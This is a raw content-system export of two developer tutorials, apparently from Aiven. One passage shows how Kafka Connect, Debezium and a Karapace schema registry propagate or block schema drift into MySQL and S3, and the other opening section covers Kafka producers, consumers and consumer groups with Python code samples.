\"{\\\"connect.name\\\":\\\"sourcepg.public.users.Key\\\",\\\"fields\\\":[{\\\"default\\\":0,\\\"name\\\":\\\"id\\\",\\\"type\\\":{\\\"connect.default\\\":0,\\\"type\\\":\\\"int\\\"}}],\\\"name\\\":\\\"Key\\\",\\\"namespace\\\":\\\"sourcepg.public.users\\\",\\\"type\\\":\\\"record\\\"}\",\n \"subject\": \"sourcepg.public.users-key\",\n \"version\": 1\n}\n```\n\n## Sink the data to MySQL\n\n![Sink data to MySQL with Kafka Connect JDBC sink](https://cdn.sanity.io/images/sczeoy4w/production/acb80f39304927a42f9c7ca67d515ffdadddc374-3956x1410.png)\n\nNow that we have the data in Apache Kafka, let's set up a consumer for the data to demonstrate how the solution manages drift. The initial consumer will be a MySQL database. We can establish the flow using a dedicated JDBC sink connector and the following code stored in mysql_jdbc_sink.json.\n\n\n```json\n{\n \"name\": \"cdc-sink-mysql\",\n \"connector.class\": \"io.aiven.connect.jdbc.JdbcSinkConnector\",\n \"topics\": \"sourcepg.public.users\",\n \"transforms\": \"extract\",\n \"connection.url\": \"jdbc:mysql://\u003cMYSQL_HOST\u003e:\u003cMYSQL_PORT\u003e/\u003cMYSQL_DB_NAME\u003e?ssl-mode=REQUIRED\",\n \"connection.user\": \"avnadmin\",\n \"connection.password\": \"\u003cMYSQL_PASSWORD\u003e\",\n \"table.name.format\": \"users_mysql\",\n \"insert.mode\": \"upsert\",\n \"pk.mode\": \"record_key\",\n \"pk.fields\": \"id\",\n \"auto.create\": \"true\",\n \"auto.evolve\": \"true\",\n \"transforms\": \"extract\",\n \"transforms.extract.type\": \"io.debezium.transforms.ExtractNewRecordState\",\n \"key.converter\": \"io.confluent.connect.avro.AvroConverter\",\n \"key.converter.schema.registry.url\": \"https://\u003cKAFKA_HOST\u003e:\u003cSCHEMA_REGISTRY_PORT\u003e\",\n \"key.converter.basic.auth.credentials.source\": \"USER_INFO\",\n \"key.converter.schema.registry.basic.auth.user.info\": \"avnadmin:\u003cSCHEMA_REGISTRY_PASSWORD\u003e\",\n \"value.converter\": \"io.confluent.connect.avro.AvroConverter\",\n \"value.converter.schema.registry.url\": \"https://\u003cKAFKA_HOST\u003e:\u003cSCHEMA_REGISTRY_PORT\u003e\",\n \"value.converter.basic.auth.credentials.source\": \"USER_INFO\",\n \"value.converter.schema.registry.basic.auth.user.info\": \"avnadmin:\u003cSCHEMA_REGISTRY_PASSWORD\u003e\"\n}\n```\n\nIn the above connector we are defining:\n* The JDBC sink connector in the `connector.class` parameter\n* The MySQL connection settings in the `connection.url` parameter, We can get the parameters to compose the URL and the credentials with the following call\n\n ```bash\n avn service get demo-drift-mysqldb --format '{service_uri_params}'\n ```\n\n* The target table name will be `users_mysql` with upsert mode (see `insert.mode`), inserting or updating existing rows based on the `id` field (see `pk.mode` and `pk.fields` parameters)\n* The table will be created automatically if it does not exist (`\"auto.create\": \"true\"`) and evolve following the changes in the Apache Kafka topic (`\"auto.evolve\": \"true\"`). This will be key to propagating the drift to downstream technologies (MySQL in this case).\n* A transformation called `extract` to retrieve and propagate the status of the row after the change from the Debezium format\n* The usage of Avro and Apache Kafka schema registry functionality for both message keys and values. We can fetch the needed connection parameters (`\u003cKAFKA_HOST\u003e`, `\u003cSCHEMA_REGISTRY_PORT\u003e`, `\u003cSCHEMA_REGISTRY_PASSWORD\u003e`)\n\n ```bash\n avn service get demo-drift-kafka --json | jq -r '.connection_info.schema_registry_uri'\n ```\n\n The above command will provide the Kafka schema registry uri in the form:\n\n ```html\n https://avnadmin:\u003cSCHEMA_REGISTRY_PASSWORD\u003e@\u003cKAFKA_HOST\u003e:\u003cSCHEMA_REGISTRY_PORT\u003e\n ```\n\nHaving replaced the placeholder values, we can create the connector with the following call, where `cdc-deb.json` is the file containing the connector settings:\n\n```bash\navn service connector create demo-drift-kafka @mysql_jdbc_sink.json\n```\n\nWe can verify the status of the connector with:\n\n```bash\navn service connector status demo-drift-kafka cdc-sink-mysql\n```\n\nThe above command should show the connector in `RUNNING` state\n\n## Check the data in MySQL\n\nOnce the above connector is running, we can head to MySQL to check the data. To get the connection parameters, we can retype the following command: \n\n\n```bash\navn service get demo-drift-mysqldb --format '{service_uri_params}'\n```\n\nAnd then connect with the following command, replacing the placeholders. Note the absence of spaces between the `-p` parameter and the password.\n\n```bash\nmysql -u avnadmin \\\n -P \u003cMYSQL_PORT\u003e \\\n -h \u003cMYSQL_HOST\u003e \\\n -D defaultdb \\\n -p\u003cMYSQL_PASSWORD\u003e\n```\n\nWe can then check the data with:\n\n```sql\nselect * from users_mysql;\n```\n\nThe table is `users_mysql` following the `table.name.format` in the connector. The data should be in line with what we have in PostgreSQL.\n\n```\n+----+-----------+------+\n| id | username | hero |\n+----+-----------+------+\n| 1 | Spiderman | 1 |\n| 2 | Flash | 1 |\n| 3 | Joker | 0 |\n| 4 | Batman | 1 |\n+----+-----------+------+\n```\n\nIf we check the table structure with `describe users_mysql`, we can see that the `hero` column has been mapped to a `TINYINT` in MySQL.\n\n```\n+----------+--------------+------+-----+---------+-------+\n| Field | Type | Null | Key | Default | Extra |\n+----------+--------------+------+-----+---------+-------+\n| id | int | NO | PRI | 0 | |\n| username | varchar(256) | YES | | NULL | |\n| hero | tinyint | YES | | NULL | |\n| points | int | YES | | NULL | |\n+----------+--------------+------+-----+---------+-------+\n```\n\n\n## Let's talk Drift\n\nSo far we've built a fairly traditional data pipeline. Now, let's include some changes to the original data structure in PostgreSQL to mimic drift. \n\n### Adding a column\n\nIn the terminal connected to the PostgreSQL database, execute the following command to add a `POINTS` integer column:\n\n```sql\nALTER TABLE USERS ADD COLUMN POINTS INT;\n```\n\nNothing happens immediately in the target MySQL table after the DDL execution in PostgreSQL. The structure and the data of `USERS_MYSQL` is still the same.\n\nNow change the data in PostgreSQL, using the following update statement:\n\n```bash\nUPDATE USERS SET POINTS = CASE WHEN USERNAME = 'Batman' then 5 else 10 end;\n```\n\nIn MySQL, execute:\n```sql\nSELECT * FROM users_mysql;\n```\nWe can see the effect on the MySQL table `points` in near real time:\n\n```\n+----+-----------+------+--------+\n| id | username | hero | points |\n+----+-----------+------+--------+\n| 1 | Spiderman | 1 | 10 |\n| 2 | Flash | 1 | 10 |\n| 3 | Joker | 0 | 10 |\n| 4 | Batman | 1 | 5 |\n+----+-----------+------+--------+\n```\n\nAs mentioned in the sink connector definition, `\"auto.create\": \"true\"` allows the automatic creation of the table if it doesn't exist, and `\"auto.evolve\": \"true\"` allows the evolution of the table in cases when **new data columns are included**.\n\n### Removing a column\n\nWhat about removing columns? Let's test it! Let's drop the same `points` column we just added from the PostgreSQL terminal with:\n\n```sql\nALTER TABLE USERS DROP COLUMN POINTS;\n```\n\nIf we execute our previous query in MySQL again:\n```sql\nSELECT * FROM users_mysql;\n```\n\nWe see that column is not dropped in MySQL, the structure of the `users_mysql` is the same and the `points` column is still filled.\n\n```sql\n+----+-----------+------+--------+\n| id | username | hero | points |\n+----+-----------+------+--------+\n| 1 | Spiderman | 1 | 10 |\n| 2 | Flash | 1 | 10 |\n| 3 | Joker | 0 | 10 |\n| 4 | Batman | 1 | 5 |\n+----+-----------+------+--------+\n```\n\nThis makes sense because downstream applications might be using the `points` column. An unexpected and unhandled drop of a column could have disastrous effects on the downstream data pipelines. However the risk actually is dealing with updated information, as the `points` column has been dropped from PostgreSQL and therefore cannot be updated.\n\n### Changing the column type\n\nWhat about changing the column type? A change in the column type could be needed in cases, like this example, where we want to migrate from a `BOOLEAN` to a `VARCHAR` for the `HERO` column. Let's execute the following in PostgreSQL:\n\n```sql\nALTER TABLE USERS ALTER COLUMN HERO TYPE VARCHAR;\n```\n\nAs before nothing happens on the DDL statement, but, when we try to add some data using the new `VARCHAR` column type:\n\n\n```sql\nINSERT INTO USERS (USERNAME, HERO) VALUES ('Panda', 'middle');\n```\n\nThe insert goes well PostgreSQL as expected, but the Debezium source connector crashes with the following error:\n\n```text\nERROR \"Caused by: org.apache.kafka.common.config.ConfigException: Failed to access Avro data from topic sourcepg.public.users : Incompatible schema, compatibility_mode=BACKWARD reader union lacking writer type: RECORD; error code: 409\"\nBackwards compatibility, old schema type is boolean (with null), new schema type is string... incompatible\n```\n\nThis is because the schema is stored in Karapace with the `BACKWARDS` compatibility setting. The `BACKWARDS` compatibility ensures that consumers using an older schema definition are able to consume events produced with the current schema. The change, from `BOOLEAN` to `VARCHAR` could stop old consumers from being able to parse the information correctly, so it's not allowed and the connector fails.\n\n### Changing the compatibility level\n\nFor the sake of this example, let's remove the `BACKWARDS` compatibility setting and allowing all changes in the source system to propagate. We'll set compatibility to `NONE` allowing all the changes to propagate to the Apache Kafka topic.\n\nFirst, we check the default compatibility level for the Apache Kafka service with:\n\n```bash\navn service schema configuration demo-drift-kafka\n```\n\nThis shows `BACKWARD` being the default. The same default setting is applied to the `sourcepg.public.users-value` topic, that we can check with:\n\n```bash\navn service schema subject-configuration demo-drift-kafka \\\n --subject sourcepg.public.users-value\n```\n\nTo change the compatibility level to `NONE` for both key and value, run the following commands:\n\n```bash\navn service schema subject-configuration-update demo-drift-kafka \\\n --subject sourcepg.public.users-value \\\n --compatibility NONE\navn service schema subject-configuration-update demo-drift-kafka \\\n --subject sourcepg.public.users-key \\\n --compatibility NONE\n```\n\nNow, if we restart the Debezium Source connector task `0` with:\n\n```bash\navn service connector restart-task demo-drift-kafka pg-source-users 0\n```\n\nWe see that the source connector restarts correctly. Using `avn service connector status demo-drift-kafka pg-source-users` shows the connector in the `RUNNING` state:\n\n ```json\n {\n \"status\": {\n \"state\": \"RUNNING\",\n \"tasks\": [\n {\n \"id\": 0,\n \"state\": \"RUNNING\",\n \"trace\": \"\"\n }\n ]\n }\n }\n ```\n\n* The JDBC sink connector to MySQL fails. Running `avn service connector status demo-drift-kafka cdc-sink-mysql` returns an error:\n\n```text\nCaused by: org.apache.kafka.connect.errors.ConnectException: java.sql.SQLException: java.sql.BatchUpdateException: Incorrect integer value: 'middle' for column 'hero' at row 1\njava.sql.SQLException: Incorrect integer value: 'middle' for column 'hero' at row 1\n```\n\nThe error indicates that the connector attempted to insert the new value (middle) into an integer column. This implies that the auto-evolution process did not alter the structure of the pre-existing column.\n\nTo confirm this, we can execute describe users_mysql on the MySQL database and validate that the hero column remains a tinyint.\n\nIn the JDBC sink connector documentation, the [`auto.evolution` section](https://github.com/aiven/jdbc-connector-for-apache-kafka/blob/master/docs/sink-connector.md#auto-evolution) says:\n\n\u003e * The connector does not delete columns.\n\u003e * The connector does not alter column types.\n\u003e * The connector does not add primary keys constraints.\n\nWe already talked about automatic column deletion being a dangerous action. The same is true for the automatic change of column types, since downstream applications could rely on functions that work specifically on particular column types. Therefore, modifying a column type should be handled as a breaking change, correctly making the sink connector fail. \n\n## What about non relational targets? The AWS S3 example\n\n![Sink to AWS S3 with Kafka Connect and the s3 sink](https://cdn.sanity.io/images/sczeoy4w/production/0300bd6bf09564629ce3b7b16feec1581b01a5c9-3720x1368.png)\n\nThe scenario described above is one of the more strict scenarios possible, in terms of data evolution. Both the source and the target are relational databases with strict column type definition. In this second example we'll sink the data to an S3 bucket where the data structure is not defined upfront.\n\n\nWe can create a sink connector to S3 with the following JSON configuration file stored in a file named `s3_sink.json`\n\n```json\n{\n \"name\": \"s3sink\",\n \"connector.class\": \"io.aiven.kafka.connect.s3.AivenKafkaConnectS3SinkConnector\",\n \"aws.access.key.id\": \"\u003cAWS_SECRET_ID\u003e\",\n \"aws.secret.access.key\": \"\u003cAWS_SECRET_ACCESS\u003e\",\n \"aws.s3.bucket.name\": \"\u003eAWS_BUCKET_NAME\u003e\",\n \"aws.s3.region\": \"\u003cAWS_REGION\u003e\",\n \"topics\": \"sourcepg.public.users\",\n \"format.output.type\": \"json\",\n \"key.converter\": \"io.confluent.connect.avro.AvroConverter\",\n \"key.converter.schema.registry.url\": \"https://\u003cKAFKA_HOST\u003e:\u003cSCHEMA_REGISTRY_PORT\u003e\",\n \"key.converter.basic.auth.credentials.source\": \"USER_INFO\",\n \"key.converter.schema.registry.basic.auth.user.info\": \"avnadmin:\u003cSCHEMA_REGISTRY_PASSWORD\u003e\",\n \"value.converter\": \"io.confluent.connect.avro.AvroConverter\",\n \"value.converter.schema.registry.url\": \"https://\u003cKAFKA_HOST\u003e:\u003cSCHEMA_REGISTRY_PORT\u003e\",\n \"value.converter.basic.auth.credentials.source\": \"USER_INFO\",\n \"value.converter.schema.registry.basic.auth.user.info\": \"avnadmin:\u003cSCHEMA_REGISTRY_PASSWORD\u003e\",\n \"transforms\": \"extract\",\n \"transforms.extract.type\": \"io.debezium.transforms.ExtractNewRecordState\"\n}\n```\n\nWhere:\n\n* The set of `aws.*` parameters refers to the S3-related secrets, as detailed in the [connector prerequisites documentation](https://aiven.io/docs/products/kafka/kafka-connect/howto/s3-sink-prereq.html).\n* The `topics` parameter defines the source of information (specifically, the `sourcepg.public.users` topic).\n* The `format.output.type` parameter specifies how the data will be stored (in this case, as `json`).\n* The `key.converter` and `value.converter` parameters enable the connector to retrieve schema information from Karapace.\n* The `transforms` section allows the extraction of the value after the change from the Debezium format.\n\nWe can start the above connector with:\n\n```bash\navn service connector create demo-drift-kafka @s3_sink.json\n```\n\nIf we check the data in S3, we should see a document in the bucket containing all the changes implemented in PostgreSQL.\n\n```json\n[\n{\"value\":{\"id\":1,\"username\":\"Spiderman\",\"hero\":true}},\n{\"value\":{\"id\":2,\"username\":\"Flash\",\"hero\":true}},\n{\"value\":{\"id\":3,\"username\":\"Joker\",\"hero\":false}},\n{\"value\":{\"id\":4,\"username\":\"Batman\",\"hero\":true}},\n{\"value\":{\"id\":1,\"username\":\"Spiderman\",\"hero\":true,\"points\":10}},\n{\"value\":{\"id\":2,\"username\":\"Flash\",\"hero\":true,\"points\":10}},\n{\"value\":{\"id\":3,\"username\":\"Joker\",\"hero\":false,\"points\":10}},\n{\"value\":{\"id\":4,\"username\":\"Batman\",\"hero\":true,\"points\":5}},\n{\"value\":{\"id\":5,\"username\":\"Panda\",\"hero\":\"middle\"}}\n]\n```\n\nThe output from the CDC -\u003e Kafka -\u003e S3 flow encompasses all events. Due to the Debezium compatibility mode being set to NONE, every change successfully stored in Kafka. Moreover, as S3 does not enforce a specific structure on the data, all changes, whether they involve new or deleted columns, have been written to the target bucket in JSON format.\n\n\n## Terminate the services\n\nIf you followed this tutorial and want to remove the services used for testing, you can run the commands below:\n\n```bash\navn service terminate demo-drift-postgresql --force\navn service terminate demo-drift-kafka --force\navn service terminate demo-drift-mysqldb --force\n```\n\n## Summary\n\nData and Schema drift must be managed in scenarios where multiple consumers want to access the changes happening in a source system. Apache Kafka, and the Karapace schema registry, provide a method to propagate compatible changes and forbid breaking ones by stopping the pipeline. Pay special attention to column drops, since they are not propagated automatically to target systems (specifically if the target is another relational database) and could cause problems with updated data on the deleted columns.\n\nTo summarize how changes are propagated: \n\n| Action | Status | Description |\n| -------- | ------- | ------- |\n| Add column | ✅ | Propagates downstream if `auto.evolve` is set to `true`. |\n| Remove column | ⚠️ | Does not propagate downstream in case of sink to relational database. Possible use of stale data for the dropped column. |\n| Change datatype | ⚠️ | Depends on the change, compatibility settings and target technology. Not propagated in case of JDBC sink. |\n\n\nA summary of Schema registry compatibility:\n\n* `BACKWARDS` allows you to stop the pipeline before ingesting data in Kafka, since breaking changes will not be included in the topic\n* `NONE` allows you to continue ingesting, but might break downstream data pipelines if the downstream tech is relational or has precise column definition and evolution is not straightforward\n","feature":{"_type":"featuredItem","active":false,"endDate":"2024-01-09T10:52:39.819Z"},"hierarchy":{"_ref":"e6555a63-f0c2-406b-896c-cbe290019c3c","_type":"reference"},"internalTags":[{"_key":"8fb1bd0c524a","_ref":"4fee17d2-f553-4f9f-8a5c-633a8b352c4c","_type":"tag"}],"publishedAt":"2024-01-04T11:00:00.000Z","seo":{"_type":"metaData","metaImage":{"_type":"mainImage","alt":"The text \"Managing data drift with Apache Kafka® Connect and a schema registry\" in white text on a dark blue background. The Aiven logo is in the bottom left.","asset":{"_ref":"image-d7e2b13b72baedcabe0a65658e8a9a12f276f1de-1567x844-png","_type":"reference"}}},"slug":{"_type":"slug","current":"/developer/data-drift-with-kafka-schema-registry"},"subtitle":"Use Karapace, an open source Apache Kafka® schema registry, to prevent data errors by managing the data model across databases","tags":[{"_key":"e3883371fa9f","_ref":"01148eca-64e7-46ba-a597-5df3e2a441b0","_type":"tag"},{"_key":"564e5b9588b3","_ref":"3c547914-626c-4ae5-8d0c-a0400bcc5e7f","_type":"tag"},{"_key":"3b879b0a0816","_ref":"3314b5d5-e0fa-4c8e-9f6e-a7564aa5c632","_type":"tag"},{"_key":"d4a7928a52f6","_ref":"6e718308-0932-4545-b8c2-c9df3013ec4e","_type":"tag"}],"title":"Managing data drift with Apache Kafka® Connect and a schema registry"} {"__i18n_lang":"en","_createdAt":"2023-03-31T12:08:07Z","_id":"a439b974-34e0-4182-81fd-0047591553d7","_rev":"ZgPiUE9lJ1tcRKuFnZuSp7","_type":"devArticle","_updatedAt":"2024-07-11T11:58:59Z","body":"::alert[This tutorial assumes basic knowledge of Apache Kafka®]\n\n## Learning objectives\n\n- Basic overview of Apache Kafka and creating a highly available Apache Kafka service\n- The concept of topic, partition, producer, consumer, and consumer groups\n- The need for data serialization in Kafka and use of Apache Avro™ to produce and consume messages\n\n## Overview\n\nGetting started with Apache Kafka can be straightforward: you download the binary and start the bootstrap server. However, standing up a production-ready Kafka cluster with security and high-availability is a different story. Have you added multiple Kafka brokers to ensure high availability while maintaining a low network\nlatency? How about the default replication factor? How are you ensuring the security and access control for your Kafka brokers?\n\nBecause administering production-ready Kafka clusters is difficult, we\nat Aiven created a [managed Kafka service](https://aiven.io/kafka) with a free trial to avoid some of the hassle. This lets you focus on producing and consuming data with Kafka, rather than becoming a cluster administrator.\n\nIn this tutorial, we will learn how to create a highly available Apache\nKafka service, go over the common tasks of producing and consuming\nmessages, and finally use the popular Apache Avro™ specification to\ncommunicate with your Kafka service. This tutorial will use the Python\nprogramming language. Under the hood, the Python library will make use\nof the [Producer API](https://kafka.apache.org/documentation/#producerapi) and the\n[Consumer API](https://kafka.apache.org/documentation/#consumerapi).\n\n## Prerequisites\n\nTo get started, you'll need:\n\n- A Kafka service - either local or managed\n\n- [Python installed](https://www.python.org/downloads/)\n\n- [Kafka-python](https://github.com/dpkp/kafka-python) library\n installed, you can install it with the following command:\n\n ``` bash\n pip install kafka-python\n ```\n\n- [confluent-Kafka](https://github.com/confluentinc/confluent-kafka-python)\n library installed that you\\'ll use to produce messages in AVRO\n format, you can install it with the following command:\n\n ``` bash\n pip install confluent-kafka\n ```\n\n- [fastavro](https://github.com/fastavro/fastavro) library installed,\n you can install it with the following command:\n\n ``` bash\n pip3 install fastavro\n ```\n\nIf you already have a Kafka service, jump to [Create a topic](#create-a-topic) section.\n\nOtherwise, [sign up for an Aiven\naccount](https://console.aiven.io/signup) and follow the tutorial to\ncreate a Kafka service on Aiven.\n\n## Create an Aiven for Apache Kafka® service\n\nTo create an\n[Aiven for Apache Kafka](https://aiven.io/docs/products/kafka) service, you need to:\n\n1. Log in to the [Aiven web console](https://console.aiven.io/).\n\n2. On the *Services* page, click **Create a new service**.\n\n This opens a new page with the available service options.\n\n ![Aiven Console view for creating a new service](https://cdn.sanity.io/images/sczeoy4w/production/882c8a09ad09424c6908cf8228bec1404c4f9c1a-3276x1624.png)\n\n3. Select **Apache Kafka®**.\n\n4. Select the cloud provider and region that you want to run your\n service on.\n\n5. Select `Startup-2` as service plan.\n\n6. Enter `demo-kafka` as name for your service.\n\n7. Click **Create Service** under the summary on the right side of the\n console.\n\nThe blinking blue icon beside your service name will indicate that\nservice is being provisioned. Once the icon turns solid green, your\nApache Kafka service is up and running.\n\n## Making a note of the connection parameters\n\nLet's start by copying the connection information for the newly created\nApache Kafka service in order to authenticate and authorize to the Kafka\nbroker.\n\n![Host, port, username, password and other](https://cdn.sanity.io/images/sczeoy4w/production/ba78e956999a93cebfc4e4b1b3d5da0f8df1ad69-2606x1628.png)\n\nGo to the *Overview* page of your Aiven for Apache Kafka service.\n\n- If you are going to connect with SSL authentication:\n - In the *Connection information* section:\n 1. If **Authentication Method** is shown, choose **Client\n Certificate**\n 2. Next to *Access Key*, click **Download** and save the\n `service.key` file.\n 3. Next to *Access Certificate*, click **Download** and save\n the `service.cert` file.\n 4. Next to *CA Certificate*, click **Download** and save the\n `ca.pem` file.\n- If you are going to connect using SASL authentication:\n 1. Follow the instructions at [Use SASL Authentication with Apache\n Kafka®](https://aiven.io/docs/products/kafka/howto/kafka-sasl-auth.html) to enable SASL.\n 2. In the *Connection Information* section\n 1. Select **SASL** as the **Authentication Method**\n 2. Next to *CA Certificate*, click **Download** and save the\n `ca.pem` file\n 3. Note the *Password* required for the SASL, we'll need it\n for authentication\n- Create the keystore `client.keystore.p12` and truststore `client.truststore.jks` by following [our article on configuring Java SSL to access Kafka](https://aiven.io/docs/products/kafka/howto/keystore-truststore)\n\n::alert[In the below examples, we just pass the name of the keystore and truststore files, but in production, use the full path.]\n\nYou can also use the [Aiven command line\ntool](https://aiven.io/docs/tools/cli.html) to download the files.\nSee the documentation for [avn service\nuser-creds-download](https://aiven.io/docs/tools/cli/service/user.html#avn-service-user-creds-download)\n\nDetails on the Aiven for Apache Kafka configuration can be found under\nthe [reference](#reference) section.\n\n## Create a topic\n\nA topic in Kafka is a named stream of records that is stored within a\nKafka cluster. A record is a key-value pair associated with a timestamp\nand other metadata. Records and topics can represent whatever you need\nfrom a business perspective: in general, records represent events that\nhappen in a system, and a topic is a grouping of similar events. Let's\ncreate a Kafka topic.\n\nIf you have a local Kafka instance running, the command to create the\ntopic might be something like this:\n\n``` bash\nbin/kafka-topics.sh --create --topic demo-topic --bootstrap-server localhost:9092\n```\n\n::alert[Be sure to replace `localhost:9092` if your local Kafka instance ip and port are different.]\n\n![Image showing how to create a Kafka topic](https://cdn.sanity.io/images/sczeoy4w/production/9886f4c339a9b79dfabaee10e02d885a861a0c68-3352x1328.png)\n\nFor an Aiven for Apache Kafka service, you can create the topic from the\nAiven console.\n\n- From the **Topics** tab or the Kafka service overview page, click\n **Add topic**.\n- Give the topic a name `demo-topic`.\n- Click **Add topic**.\n\nOnce this topic is created, we can see that the default number of\npartitions is 1.\n\n![Image showing default number of partitions for the Kafka topic](https://cdn.sanity.io/images/sczeoy4w/production/2bc7bffe7fa1e602a4816f26833d9406998d2f3e-2298x920.png)\n\n## Consumer groups and consuming messages on Kafka\n\nA consumer group is the logical grouping of consumers. A consumer is\nusually a client application that reads (consumes) events from Kafka. In\nKafka, the consumer(s) must belong to a consumer group. If you don't\ndefine one, Kafka generates a random consumer group. For a Kafka cluster\nwith multiple nodes, consumers within the same consumer group can exist\non different nodes.\n\n:::mermaid\ngraph TD\n A(Topic) -- Partition 1 --\u003e D[/Consumer 3/]\n A(Topic) -- Partition 2 --\u003e E[/Consumer 4/]\n subgraph Consumer Group 2\n D\n E\n end\n\n A(Topic) -- Partition 1 --\u003e B[/Consumer 1/]\n A(Topic) -- Partition 2 --\u003e C[/Consumer 2/]\n subgraph Consumer Group 1\n B\n C\n end\n:::\n\nIn the above diagram, there are four consumers that are subscribed to a\ntopic. `Consumer 1` and `Consumer 2` are part of `Consumer Group 1` and\nthe other two consumers are part of `Consumer Group 2`. Now imagine a\nproducer publishing messages to this topic. Messages within each\npartition are read in order but they are read in parallel across\npartitions. Consumers read data in consumer groups and each consumer\nwithin a group reads from exclusive partitions. From this diagram, both\nconsumer groups read all the data across all partitions from a topic.\nWithin `Consumer Group 1`, `Consumer 1` and `Consumer 2` read from\n`Partition 1` and `Partition 2` and consumers within `Consumer Group 2`\nalso read from these same two partitions. A message will never be read\nby more than one consumer in the group thanks to the consumer group\nconcept.\n\n### 1 topic : 1 partition : 1 consumer : 1 consumer group\n\nLet's start with a setup where we have a single producer writing to a\nsingle topic with one partition. A consumer is reading messages from\nthis topic which is part of a consumer group.\n\n:::mermaid\ngraph LR\n pr0(kafka producer pr0) --\u003ep0(partition p0)\n subgraph topic\n p0\n end\n\n co0(kafka consumer co0)\n subgraph consumer group A\n co0\n end\n\n p0 --\u003eco0\n:::\n\n::alert[The following code samples include configuration related to SSL or SASL authentication. If you're running a local Kafka instance and not using SSL/SASL, you can exclude these configurations. Please note that excluding SSL/SASL configurations is not suggested for production Kafka environments.]\n\n#### Set up a producer instance to send a message to the cluster\n\nIn Kafka, a producer is any application which generates and sends\nrecords to a Kafka cluster. The following Python code generates some\nmessages to the \"demo-topic\" topic using the\n`Kafka-python` library:\n\n::alert[Ensure that the certificate files you downloaded above are in the same directory as this Python script.]\n\nWith SSL authentication:\n\n``` python\nfrom kafka import KafkaProducer\nimport time\n\n# Configuring the Kafka producer \nproducer = KafkaProducer(\n bootstrap_servers=f\"{HOST}:{SSL_PORT}\", # From the connection information for the managed service\n security_protocol=\"SSL\",\n ssl_cafile=\"ca.pem\", # From the connection information for the managed service\n ssl_certfile=\"service.cert\", # From the connection information for the managed service\n ssl_keyfile=\"service.key\", # From the connection information for the managed service\n)\n\n# Generate 10 messages in total with 1 second interval\nfor i in range(10):\n message = f\"Hello from Python using SSL {i + 1}!\"\n producer.send(\"demo-topic\", message.encode('utf-8'))\n print(f\"Message sent: {message}\")\n time.sleep(1)\n\nproducer.close()\n```\n\nWith SASL authentication:\n\n``` python\nfrom kafka import KafkaProducer\nimport time\n\n # Choose an appropriate SASL mechanism, for instance:\n SASL_MECHANISM = 'SCRAM-SHA-256'\n\n # Configuring the Kafka producer\n producer = KafkaProducer(\n bootstrap_servers=f\"{HOST}:{SASL_PORT}\", # From the connection information for the managed service\n sasl_mechanism = SASL_MECHANISM,\n sasl_plain_username = SASL_USERNAME, # From the connection information for the managed service\n sasl_plain_password = SASL_PASSWORD, # From the connection information for the managed service\n security_protocol=\"SASL_SSL\", \n ssl_cafile=\"ca.pem\", # From the connection information for the managed service\n )\n\n# Generate 10 messages in total with 1 second interval\nfor i in range(10):\n message = f\"Hello from Python using SASL {i + 1}!\"\n producer.send(\"demo-topic\", message.encode('utf-8'))\n print(f\"Message sent: {message}\")\n time.sleep(1)\n\nproducer.close()\n```\n\n#### Set up a consumer instance to start listening for messages\n\nWith the producer program executed, now run the consumer program for\nyour chosen protocol.\n\nWith SSL authentication:\n\n``` python\n# Import the required library\nfrom kafka import KafkaConsumer\n\n# Configuring the Kafka consumer \nconsumer = KafkaConsumer(\n \"demo-topic\",\n auto_offset_reset=\"earliest\",\n bootstrap_servers=f\"{HOST}:{SSL_PORT}\", # From the connection information for the managed service\n group_id=\"demo-consumer-group\",\n security_protocol=\"SSL\",\n ssl_cafile=\"ca.pem\", # From the connection information for the managed service\n ssl_certfile=\"service.cert\", # From the connection information for the managed service\n ssl_keyfile=\"service.key\", # From the connection information for the managed service\n)\n\n# Continuously poll for new messages\nfor msg in consumer:\n print(\"Message: \", msg.value)\n```\n\nWith SASL authentication:\n\n``` python\n# Import the required library\nfrom kafka import KafkaConsumer\n\n# Choose an appropriate SASL mechanism, for instance:\nSASL_MECHANISM = 'SCRAM-SHA-256'\n\n# Configuring the Kafka consumer \nconsumer = KafkaConsumer(\n \"demo-topic\",\n auto_offset_reset=\"earliest\",\n bootstrap_servers = f'{HOST}:{SASL_PORT}', # From the connection information for managed service\n group_id=\"demo-consumer-group\",\n sasl_mechanism = SASL_MECHANISM,\n sasl_plain_username = SASL_USERNAME, # From the connection information for the managed service\n sasl_plain_password = SASL_PASSWORD, # From the connection information for the managed service\n security_protocol = \"SASL_SSL\",\n ssl_cafile = \"ca.pem\" # From the connection information for the managed service\n)\n\n# Continuously poll for new messages\nfor msg in consumer:\n print(\"Message: \", msg.value.decode(\"utf-8\"))\n```\n\n#### Observation\n\nOnce messages are produced, they are written to the single partition\n`p0` of `demo-topic`. All the messages are consumed by the single\nconsumer `co0` which is part of the single consumer group `consumer group A`.\n\nOnce you run one of the above consumer program `python consumer.py`,\nyou'll see the program running in the terminal but not doing anything!\nThat's because the consumer instance is listening for messages and\ncurrently, there's no message to print out.\n\nTo see some action on this terminal, run the producer code in another\nterminal. You will see the same record appear on the producer program\nterminal.\n\nNote that Kafka gives you a nicely packaged `KafkaConsumer` object which\ncontinually checks for new messages at an interval of your choosing. You\ndidn't have to write custom application logic for this part.\n\nWhat would happen if there were two partitions in this case, `p0` and\n`p1`? In this case, messages would be published to partition randomly.\nThe consumer `co0` would take a round robin approach when consuming\nmessages from this topic.\n\n### 1 topic : 1 partition : 2 consumers : 1 consumer group\n\nLet's take a look at this setup where there are two consumers. `co0`\nand `co1` are registered to the same `consumer group A`.\n\nIn this setup, one consumer sits idle. This highlights an important\nconcept in Kafka - records are processed in parallel and the same\npartition cannot be assigned to multiple consumers in the same consumer\ngroup.\n\n:::mermaid\ngraph LR;\n\n pr0(kafka producer pr0) --\u003ep0(partition p0);\n subgraph topic\n p0\n end\n\n co0(kafka consumer co0)\n co1(kafka consumer co1)\n subgraph consumer group A\n co0\n co1\n end\n\n p0 --\u003eco0 \n:::\n\nIf the first consumer `co0` crashes for some reason, the other consumer\n`co1` in the consumer group then begins consuming messages from the last\ncommitted offset of the partition. This is what makes a cluster highly\navailable.\n\n:::mermaid\ngraph LR;\n\n pr0(kafka producer pr0) --\u003ep0(partition p0);\n subgraph topic\n p0\n end\n\n co0(CRASHED)\n co1(kafka consumer co1)\n subgraph consumer group A\n co0\n co1\n end\n\n p0 --\u003eco1\n:::\n\n## Add schemas to messages with Apache Avro™\n\nThe Kafka brokers understand data as stream of bytes, so one needs to\npick a serializer and deserializer to convert the bytes into meaningful\nmessages. Any format will do as long as it's consistent. For this\ntutorial, we're selecting Apache Avro, which is an open-source project\nand one of the most popular serialization format. Avro is defined by a\nschema and the schema is written in JSON. You can consider Avro as 